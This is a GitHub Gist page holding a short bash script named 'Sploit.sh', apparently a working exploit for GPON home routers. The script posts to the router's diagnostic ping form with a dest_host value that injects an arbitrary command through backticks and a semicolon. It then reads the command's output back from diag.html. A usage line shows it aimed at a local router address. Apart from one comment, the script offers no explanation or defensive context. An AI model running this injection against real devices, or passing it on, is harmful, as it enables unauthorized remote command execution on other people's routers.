Created
February 26, 2021 00:37
-
-
Save luisfergromo/eb2727afd5f3aa5557b436512190b226 to your computer and use it in GitHub Desktop.
bash Sploit.sh http://192.168.15.1 'ls '
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| echo "[+] Sending the Command… " | |
| # We send the commands with two modes backtick (`) and semicolon (;) because different models trigger on different devices | |
| curl -k -d "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=\`$2\`;$2&ipv=0" $1/GponForm/diag_Form?images/ 2>/dev/null 1>/dev/null | |
| echo "[+] Waiting…." | |
| sleep 3 | |
| echo "[+] Retrieving the ouput…." | |
| curl -k $1/diag.html?images/ 2>/dev/null | grep 'diag_result =' | sed -e 's/\\n/\n/g' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment